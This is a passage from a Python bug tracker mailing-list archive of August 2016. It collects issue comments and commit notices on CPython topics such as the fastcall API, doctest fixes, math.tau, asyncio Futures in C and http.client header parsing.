Message-ID: STINNER Victor added the comment: > Benchmarking results look nice, but despite the fact that this patch is only small part of issue26814, it looks to me larger that it could be. Oh I failed to express my intent. This initial patch is not expected to introduce any speedup. In fact I noticed major performance regressions on the CPython benchmark suite using my full fastcall patch. It took me time to understand that they are more issues with benchmarks than my work. This minimum patch only adds new functions but don't really use them. I patched a few functions to show how the new functions can be used. I spent most of my time just to ensure that the minimum patch doesn't introduce performance regression. > 1. The patch includes two parts: adding _PyObject_FastCall() and adding PyObject_CallNoArg() and PyObject_CallArg1(). How large the role of latter functions in the speed up? See my remark above, no speedup is expected. Do you suggest to not add these 2 new functions? Since they are well defined and simple, I chose to make them public. Their API is nicer than _PyObject_Call(). > Can existing function PyObject_Call() be optimized to achieve a comparable benefit? Sorry, I don't understand. This function requires a tuple. The whole purpose of my patch is to avoid temporary tuples. In my full patch, PyObject_Call() calls _PyObject_FastCall() in most cases. > 2. I think that supporting keyword arguments in _PyObject_FastCall() doesn't make much sense now. Well, I can add support for keyword arguments later and start with an assertion (fail if they are used). But I really need them in the API, and I don't want to change to API later. I plan to add a new METH_FASTCALL calling convention for C functions. I would prefer to not have two new calling conventions, but use Argument Clinic to emit efficient code to parse arguments. > Calling with keyword arguments adds such much overhead, that it dwarfs the benefit of avoiding the creation of one tuple. I think that the patch can be simpler if drop the support of keyword arguments. Keyword arguments are optional. Having support for them cost nothing when they are not used. > 3. The patch adds two files for one function _PyStack_AsTuple(). I would prefer something like _PyTuple_FromArray(). It could be used in other places, not just in argument parsing. I really want to have a "pystack" API. In this patch, the new file looks useless, but in the full patch there are many functions including a few complex functions. I prefer to add the file now and complete it later. I'm limited by Mercurial and our workflow (tools), it would be much easier to explain my work using a patch serie, but it's not possible to publish a patch serie... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 17:53:35 2016 From: report at bugs.python.org (Zachary Ware) Date: Tue, 09 Aug 2016 21:53:35 +0000 Subject: [issue27200] make doctest in CPython has failures In-Reply-To: <1464988408.0.0.840317371896.issue27200@psf.upfronthosting.co.za> Message-ID: <1470779615.87.0.656659497227.issue27200@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:02:53 2016 From: report at bugs.python.org (Ankur Dedania) Date: Tue, 09 Aug 2016 22:02:53 +0000 Subject: [issue27722] Path.touch's keyword argument mode documented incorrectly Message-ID: <1470780173.7.0.896294950108.issue27722@psf.upfronthosting.co.za> New submission from Ankur Dedania: Path.touch's keyword argument mode documented incorrectly. In the documents, it shows keyword argument mode defaulted to 0o777, however within the code it is set to 0o666. ---------- assignee: docs at python components: Documentation messages: 272269 nosy: AnkurDedania, docs at python priority: normal severity: normal status: open title: Path.touch's keyword argument mode documented incorrectly type: behavior versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:05:53 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 22:05:53 +0000 Subject: [issue27204] Failing doctests in Doc/howto/ In-Reply-To: <1464999813.26.0.380989633833.issue27204@psf.upfronthosting.co.za> Message-ID: <20160809220550.130443.95941.C2774828@psf.io> Roundup Robot added the comment: New changeset 0eaa05a3db02 by Zachary Ware in branch '2.7': Issue #27204: Fix doctests in Doc/howto https://hg.python.org/cpython/rev/0eaa05a3db02 New changeset df92f9856b59 by Zachary Ware in branch '3.5': Issue #27204: Fix doctests in Doc/howto https://hg.python.org/cpython/rev/df92f9856b59 New changeset e31597cbf52c by Zachary Ware in branch 'default': Closes #27204: Merge with 3.5 https://hg.python.org/cpython/rev/e31597cbf52c ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:11:11 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 22:11:11 +0000 Subject: [issue27722] Path.touch's keyword argument mode documented incorrectly In-Reply-To: <1470780173.7.0.896294950108.issue27722@psf.upfronthosting.co.za> Message-ID: <20160809221108.3475.21631.3C063256@psf.io> Roundup Robot added the comment: New changeset 773bc9a3172d by Zachary Ware in branch '3.5': Issue #27722: Fix default for touch method's 'mode' argument https://hg.python.org/cpython/rev/773bc9a3172d New changeset 763d98f0a105 by Zachary Ware in branch 'default': Closes #27722: Merge with 3.5 https://hg.python.org/cpython/rev/763d98f0a105 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:11:27 2016 From: report at bugs.python.org (Zachary Ware) Date: Tue, 09 Aug 2016 22:11:27 +0000 Subject: [issue27722] Path.touch's keyword argument mode documented incorrectly In-Reply-To: <1470780173.7.0.896294950108.issue27722@psf.upfronthosting.co.za> Message-ID: <1470780687.63.0.738703579219.issue27722@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the report! ---------- nosy: +zach.ware versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:12:49 2016 From: report at bugs.python.org (Zachary Ware) Date: Tue, 09 Aug 2016 22:12:49 +0000 Subject: [issue27204] Failing doctests in Doc/howto/ In-Reply-To: <1464999813.26.0.380989633833.issue27204@psf.upfronthosting.co.za> Message-ID: <1470780769.31.0.687349405271.issue27204@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! ---------- assignee: -> zach.ware components: +Documentation nosy: +zach.ware type: -> behavior versions: +Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:34:32 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 09 Aug 2016 22:34:32 +0000 Subject: [issue27713] Spurious "platform dependent libraries" warnings when running make In-Reply-To: <1470679566.14.0.658709147971.issue27713@psf.upfronthosting.co.za> Message-ID: <1470782072.4.0.0205736895581.issue27713@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- components: +Build -Installation nosy: +ned.deily stage: -> needs patch versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:40:13 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 22:40:13 +0000 Subject: [issue27205] Failing doctests in Library/collections.rst In-Reply-To: <1465000020.63.0.799580126218.issue27205@psf.upfronthosting.co.za> Message-ID: <20160809224010.3384.41752.72D92E93@psf.io> Roundup Robot added the comment: New changeset e399930d14f0 by Zachary Ware in branch '2.7': Issue #27205: Fix doctests in Doc/library/collections.rst https://hg.python.org/cpython/rev/e399930d14f0 New changeset 0d95e47cfe3e by Zachary Ware in branch '3.5': Issue #27205: Fix doctests in Doc/library/collections.rst. https://hg.python.org/cpython/rev/0d95e47cfe3e New changeset 6817b8112f6e by Zachary Ware in branch 'default': Closes #27205: Merge with 3.5 https://hg.python.org/cpython/rev/6817b8112f6e ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:40:36 2016 From: report at bugs.python.org (Zachary Ware) Date: Tue, 09 Aug 2016 22:40:36 +0000 Subject: [issue27205] Failing doctests in Library/collections.rst In-Reply-To: <1465000020.63.0.799580126218.issue27205@psf.upfronthosting.co.za> Message-ID: <1470782436.06.0.456612627625.issue27205@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! ---------- assignee: docs at python -> zach.ware nosy: +zach.ware type: -> behavior versions: +Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:45:54 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 22:45:54 +0000 Subject: [issue27206] Failing doctests in Doc/tutorial/ In-Reply-To: <1465000511.18.0.692311972692.issue27206@psf.upfronthosting.co.za> Message-ID: <20160809224551.7956.4097.EE5CB9E1@psf.io> Roundup Robot added the comment: New changeset 8b7efeeefa50 by Zachary Ware in branch '3.5': Issue #27206: Fix doctests in Doc/tutorial. https://hg.python.org/cpython/rev/8b7efeeefa50 New changeset 61d7aeb6aa1b by Zachary Ware in branch 'default': Closes #27206: Merge with 3.5 https://hg.python.org/cpython/rev/61d7aeb6aa1b ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 18:46:19 2016 From: report at bugs.python.org (Zachary Ware) Date: Tue, 09 Aug 2016 22:46:19 +0000 Subject: [issue27206] Failing doctests in Doc/tutorial/ In-Reply-To: <1465000511.18.0.692311972692.issue27206@psf.upfronthosting.co.za> Message-ID: <1470782779.49.0.634908652743.issue27206@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! ---------- assignee: docs at python -> zach.ware nosy: +zach.ware type: -> behavior versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 19:30:50 2016 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 09 Aug 2016 23:30:50 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470785450.77.0.286368393571.issue26081@psf.upfronthosting.co.za> Yury Selivanov added the comment: > What parts of Future are performance critical? Maybe it is worth to implement in C only the most critical code. Basically everything. Contrary to @contextmanager, Futures are the building blocks of asyncio, so instantiation + awaiting on them + setting results must be fast. To cover instantiation, I want to add a freelist for Futures, so this basically requires them to be implemented in C (and it's not a lot of C code actually). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 19:34:31 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 09 Aug 2016 23:34:31 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470785671.39.0.169387408193.issue19489@psf.upfronthosting.co.za> Berker Peksag added the comment: This looks pretty good to me, thanks! I have two minor suggestions: 1. It would be better to make "Quick search" a placeholder: 2.
  • will add an unnecessary border in search page. I'd change it to Also, +form.inline-search input { + display: inline; +} may cause weird compatibility problems in some (old?) browsers. We can change it to use display: inline-block instead. Is there a way to send this to upstream Sphinx? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 19:43:28 2016 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 09 Aug 2016 23:43:28 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470786208.82.0.80156754286.issue27392@psf.upfronthosting.co.za> Yury Selivanov added the comment: > WRT boolean for SSL, I think it's very common for clients to verify server certificates, but relatively uncommon for servers to require client certificates. The impression I have from reading docs and stack overflow posts that the most common use case for the SSL module is connection to HTTPS sites. For this use case, using a default context makes a lot of sense. > It seems extremely unlikely to me for a server to use a default context. I think in this case we should just mimic the API of create_server and create_unix_server. As for restricting socket family type - I think Guido is right. Although I'd love uvloop to be 100% compatible, I guess we shouldn't add artificial restrictions: if asyncio already supports AF_BLUETOOTH then let's keep it that way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 19:49:20 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 09 Aug 2016 23:49:20 +0000 Subject: [issue21018] [patch] added missing documentation about escaping characters for configparser In-Reply-To: <1395464420.76.0.68706986346.issue21018@psf.upfronthosting.co.za> Message-ID: <1470786560.1.0.30177566002.issue21018@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the patch. Two things: * We want to keep docstrings short so could you please revert the changes in Lib/configparser.py? * It would be better to just add an example of escaping these characters in the "Interpolation of values" section (preferably with a short comment.) ---------- nosy: +berker.peksag stage: -> patch review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 19:55:17 2016 From: report at bugs.python.org (Berker Peksag) Date: Tue, 09 Aug 2016 23:55:17 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470786917.3.0.402270550162.issue27721@psf.upfronthosting.co.za> Berker Peksag added the comment: Could you also update documentation in Doc/distutils/apiref.rst? Also, test_strtobool in Lib/distutils/tests/test_util.py doesn't test the following case: >>> from distutils.util import strtobool >>> strtobool('x') Traceback (most recent call last): File "", line 1, in File "/home/berker/projects/cpython/default/Lib/distutils/util.py", line 317, in strtobool raise ValueError("invalid truth value %r" % (val,)) ValueError: invalid truth value 'x' Bonus points if you add a test for that :) Thanks! ---------- nosy: +berker.peksag stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 20:09:15 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 10 Aug 2016 00:09:15 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1470787755.97.0.122718043796.issue27719@psf.upfronthosting.co.za> Berker Peksag added the comment: Thank you for your detailed report! Would you like to propose a patch? This behavior is already tested in testAttributes in Lib/test/test_exceptions.py so we just need a documentation patch. ---------- keywords: +easy nosy: +berker.peksag stage: -> needs patch type: -> behavior versions: -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 20:12:39 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 10 Aug 2016 00:12:39 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470787959.88.0.800080444585.issue27720@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 20:56:47 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 10 Aug 2016 00:56:47 +0000 Subject: [issue27721] distutils strtobool returns 0 and 1 rather than False and True In-Reply-To: <1470771352.57.0.859185223412.issue27721@psf.upfronthosting.co.za> Message-ID: <1470790607.63.0.194310299717.issue27721@psf.upfronthosting.co.za> Ned Deily added the comment: Joseph, thanks for taking an interest in improving Python and submitting this patch. Alas, I don't think we should apply it. There are always tradeoffs that have to be considered when changing existing code. Distutils is one of the oldest and most external facing of Python's standard library modules. Distutils is a key dependency of many other critical third-party projects, like setuptools and pip. Also, Numpy subclasses and extends parts of Distutils. Many third-party projects are set up to work with multiple versions of Python so we always need to be careful about introducing changes in one version that might break that version independence. On the one hand, this change is small and seems to be likely to be safe, although it is very difficult to know for sure how third-parties may currently be using strtobool() in their own code. On the other hand, what does making this change buy us and users? The only thing I can see is a more modern return type and slightly cleaner code. In cases like that, we usually say that the status quo wins: we choose to not make changes that have no real benefit (other than a minor aesthetic one) but could possibly introduce an incompatibility. Yes, if we were writing Distutils today, it would definitely return a boolean but that's not a good enough reason to change it now. Other opinions? ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 20:57:17 2016 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 10 Aug 2016 00:57:17 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470790637.51.0.753400308097.issue26081@psf.upfronthosting.co.za> Yury Selivanov added the comment: I'd also think about implementing asyncio.Handle in C (with a freelist). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 21:15:01 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 01:15:01 +0000 Subject: [issue27414] http.server.BaseHTTPRequestHandler inconsistence with Content-Length value In-Reply-To: <1467207276.94.0.887561217469.issue27414@psf.upfronthosting.co.za> Message-ID: <1470791701.03.0.88780755243.issue27414@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 21:40:43 2016 From: report at bugs.python.org (Michael Lee) Date: Wed, 10 Aug 2016 01:40:43 +0000 Subject: [issue27723] Document typing.Text and typing.AnyStr Message-ID: <1470793243.78.0.0997445491252.issue27723@psf.upfronthosting.co.za> New submission from Michael Lee: This patch documents typing.Text and typing.AnyStr. I decided against creating a new top-level section to document Text/AnyStr mainly because it seems like how exactly str/bytes/unicode is handled by mypy and described in PEP 484 might be changing sometime in the future and didn't want to add text that would need to be changed later on -- I'm not sure if that was the right call or not. ---------- assignee: docs at python components: Documentation files: document-text-and-anystr.patch keywords: patch messages: 272286 nosy: docs at python, gvanrossum, michael0x2a priority: normal severity: normal status: open title: Document typing.Text and typing.AnyStr versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44062/document-text-and-anystr.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 21:41:57 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 10 Aug 2016 01:41:57 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470793317.96.0.690644983549.issue12345@psf.upfronthosting.co.za> Guido van Rossum added the comment: I'm just going to do this. ---------- assignee: -> gvanrossum resolution: rejected -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 21:45:59 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 10 Aug 2016 01:45:59 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470793559.01.0.911608871925.issue12345@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- keywords: +patch Added file: http://bugs.python.org/file44063/tau.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 22:27:38 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 02:27:38 +0000 Subject: [issue27716] http.client truncates UTF-8 encoded headers In-Reply-To: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za> Message-ID: <1470796058.56.0.582916845474.issue27716@psf.upfronthosting.co.za> Martin Panter added the comment: For the test case given, the main problem is actually that a header field is being incorrectly split on a Latin-1 ?next line? control code U+0085. The problem is already described under Issue 22233. It looks like I wrote a patch for that a while ago, so it would be good to revisit and see if it is worth applying. Also, the problem would have been less severe if Issue 24363 was addressed; I proposed a patch at Issue 26686 which may help. Here are the relevant header fields returned by the server: >>> conn.request("GET", "/slownik/angielski-polski/") >>> pprint(conn.sock.recv(3333).splitlines(keepends=True)) [b'HTTP/1.1 200 OK\r\n', . . . b'Link: ; rel="alternate"; hreflang="zh-Hans", ' . . . b'Transfer-Encoding: chunked\r\n', b'Content-Type: text/html;charset=UTF-8\r\n', b'\r\n', b'104c\r\n', b'\n', . . .] Regarding header value character encoding, revision cb09fdef19f5 is an example of where I assumed a Latin-1 transformation to handle non-ASCII redirect targets. Perhaps just document how the bytes are transformed, and how to get the original bytes back? FWIW UTF-8 is used in RTSP, which is based on HTTP. ---------- nosy: +martin.panter superseder: -> http.client splits headers on non-\r\n characters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 22:57:46 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 02:57:46 +0000 Subject: [issue26686] email.parser stops parsing headers too soon when given a defective message. In-Reply-To: <1459532790.12.0.415003614976.issue26686@psf.upfronthosting.co.za> Message-ID: <1470797866.95.0.934006779958.issue26686@psf.upfronthosting.co.za> Martin Panter added the comment: . It would be nice to get feedback if my patch is sensible, especially from people familiar with normal usage of the ?email? module, as opposed with the usage by the HTTP module. ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 23:18:40 2016 From: report at bugs.python.org (Ammar Askar) Date: Wed, 10 Aug 2016 03:18:40 +0000 Subject: [issue19489] move quick search box above TOC In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za> Message-ID: <1470799120.29.0.476704039467.issue19489@psf.upfronthosting.co.za> Ammar Askar added the comment: > 1. It would be better to make "Quick search" a placeholder Do you mean in addition to the "Quick search" text that is already on the page or do you want to remove that? Because placeholder isn't fully compatible with some older browsers http://caniuse.com/#feat=input-placeholder > 2.
  • will add an unnecessary border in search page. I'd change it to Good idea, will fix this. > may cause weird compatibility problems in some (old?) browsers. What problems are you thinking of? I think `display: inline` is the right choice here since we want the inputs to inherit the height of the header. The page renders fine on all versions of IE from my testing. Also, newer versions of sphinx come with a newer jquery that breaks compatibility with IE8 which would cause the search box to not appear anyway. >Is there a way to send this to upstream Sphinx? I don't think so, it's one of those things that make sense as a theme, which is perfect since we have our own sphinx theme anyway. ---------- Added file: http://bugs.python.org/file44064/searchbar_in_header.diff3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 23:40:37 2016 From: report at bugs.python.org (Ethan Glass) Date: Wed, 10 Aug 2016 03:40:37 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470800437.81.0.848939703876.issue27708@psf.upfronthosting.co.za> Ethan Glass added the comment: As I said in a previous post, the numbers used are not stored. I ran the algorithm again in the shell with the following result. >>>43328029062024980302163323673775445496132394617695779999836837704406332963931535527253995277986388432*8 346624232496199842417306589390203563969059156941566239998694701635250663711452284218031962223891107456 >>>346624232496199842417306589390203563969059156941566239998694701635250663711452284218031962223891107456/8 4.332802906202498e+100 ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:03:47 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 10 Aug 2016 04:03:47 +0000 Subject: [issue27712] Tiny typos in import.rst Message-ID: <1470801827.64.0.914764893779.issue27712@psf.upfronthosting.co.za> New submission from Martin Panter: Looks good to me ---------- nosy: +martin.panter stage: -> commit review versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:21:40 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 04:21:40 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470802900.73.0.769551473865.issue12345@psf.upfronthosting.co.za> Zachary Ware added the comment: Builds fine on Windows. Happily, `math.tau == 2*math.pi` is True. ---------- nosy: +zach.ware stage: needs patch -> commit review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:23:18 2016 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 10 Aug 2016 04:23:18 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470802998.97.0.0658331889537.issue27708@psf.upfronthosting.co.za> Eric V. Smith added the comment: Thanks for giving an example. You misunderstand how the "/" operator works in python 3.x: the result is always a float. If you use "//", you'll get an integer: >>> 346624232496199842417306589390203563969059156941566239998694701635250663711452284218031962223891107456 // 8 43328029062024980302163323673775445496132394617695779999836837704406332963931535527253995277986388432 ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:24:44 2016 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 10 Aug 2016 04:24:44 +0000 Subject: [issue27708] Rounding/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470803084.82.0.907170659793.issue27708@psf.upfronthosting.co.za> Changes by Eric V. Smith : ---------- title: Roudning/Large Int representation error with multiplication and division -> Rounding/Large Int representation error with multiplication and division _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:26:09 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 10 Aug 2016 04:26:09 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470803169.07.0.957215656659.issue12345@psf.upfronthosting.co.za> Guido van Rossum added the comment: OK, here's a diff with a test that math.tau ~~ 2*math.pi. ---------- Added file: http://bugs.python.org/file44065/tau2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:48:30 2016 From: report at bugs.python.org (Ankur Dedania) Date: Wed, 10 Aug 2016 04:48:30 +0000 Subject: [issue27722] Path.touch's keyword argument mode documented incorrectly In-Reply-To: <1470780173.7.0.896294950108.issue27722@psf.upfronthosting.co.za> Message-ID: <1470804510.26.0.371323319136.issue27722@psf.upfronthosting.co.za> Ankur Dedania added the comment: Path.touch is also incorrect in python 3.4 documents ---------- status: closed -> open versions: +Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:55:05 2016 From: report at bugs.python.org (Ethan Furman) Date: Wed, 10 Aug 2016 04:55:05 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1470804905.69.0.867756915209.issue23591@psf.upfronthosting.co.za> Ethan Furman added the comment: The idea behind Flags is that they are easily combined enums. The advantage they have over IntFlags is they do not interact with integers, and they cannot have non-existing values used. By keeping the same API as IntFlags we only have two APIs instead of three (Enum and Flag instead of Enum, EnumSet, and IntFlag), and also make life easier for changing code from one to the other (Flag <-> IntFlag). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 00:56:12 2016 From: report at bugs.python.org (Tim Peters) Date: Wed, 10 Aug 2016 04:56:12 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470804972.69.0.181424908395.issue12345@psf.upfronthosting.co.za> Tim Peters added the comment: Hmm. I'd test that tau is exactly equal to 2*pi. All Python platforms (past, present, and plausible future ones) have binary C doubles, so the only difference between pi and 2*pi _should_ be in the exponent (multiplication by 2 is exact). Else we screwed up one or both mantissas (typed the constant wrong, and/or the C compiler is rounding incorrectly) - which would be bad. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:00:07 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 05:00:07 +0000 Subject: [issue27722] Path.touch's keyword argument mode documented incorrectly In-Reply-To: <1470780173.7.0.896294950108.issue27722@psf.upfronthosting.co.za> Message-ID: <1470805207.81.0.97175443301.issue27722@psf.upfronthosting.co.za> Zachary Ware added the comment: Yes, but 3.4 is out of bugfix maintenance and thus its docs are no longer updated. ---------- status: open -> closed versions: -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:10:11 2016 From: report at bugs.python.org (Antti Haapala) Date: Wed, 10 Aug 2016 05:10:11 +0000 Subject: [issue27687] Linux shutil.move between mountpoints as root does not retain ownership In-Reply-To: <1470343482.28.0.365470977104.issue27687@psf.upfronthosting.co.za> Message-ID: <1470805811.24.0.686364034961.issue27687@psf.upfronthosting.co.za> Antti Haapala added the comment: And as it is documented, it would be a change against documentation. However as a stop-gap it is rather trivial to make your own copy function to fix this. copy2 returns the actual destination, so you could do def copy_with_ownership(src, dest, *, follow_symlinks=True): actual_dest = copy2(src, dest, follow_symlinks=follow_symlinks) fix_ownership(src, actual_dest) return actual_dest implement fix_ownership to do what it needs to do, and pass copy_with_ownership as the copy_function argument to move. ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:31:46 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 05:31:46 +0000 Subject: [issue27207] Failing doctests in Doc/whatsnew/3.2.rst In-Reply-To: <1465000673.79.0.877090352163.issue27207@psf.upfronthosting.co.za> Message-ID: <20160810053142.11958.14098.685393C3@psf.io> Roundup Robot added the comment: New changeset cee3074233e6 by Zachary Ware in branch '3.5': Issue #27207: Fix doctests in Doc/whatsnew/3.2.rst https://hg.python.org/cpython/rev/cee3074233e6 New changeset ea43895ebfd9 by Zachary Ware in branch 'default': Closes #27207: Merge with 3.5 https://hg.python.org/cpython/rev/ea43895ebfd9 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:32:45 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 10 Aug 2016 05:32:45 +0000 Subject: [issue27207] Failing doctests in Doc/whatsnew/3.2.rst In-Reply-To: <1465000673.79.0.877090352163.issue27207@psf.upfronthosting.co.za> Message-ID: <1470807165.54.0.349301319201.issue27207@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for the patch! I added a couple more skips to get everything passing (the ones I skipped could not be properly tested). ---------- nosy: +zach.ware type: -> behavior versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 10 01:36:03 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 10 Aug 2016 05:36:03 +0000 Subject: [issue27208] Failing doctests in Library/traceback.rst In-Reply-To: <1465000916.52.0.195426294226.issue27208@psf.upfronthosting.co.za> Message-ID: <20160810053559.3336.98706.EB8E08EB@psf.io> Roundup Robot added the comment: New changeset eadf2905f424 by Zachary Ware in branch '3.5': Issue #27208: Fix doctest in Doc/library/traceback.rst https://hg.python.org/cpython/rev/eadf2905f424 New changeset 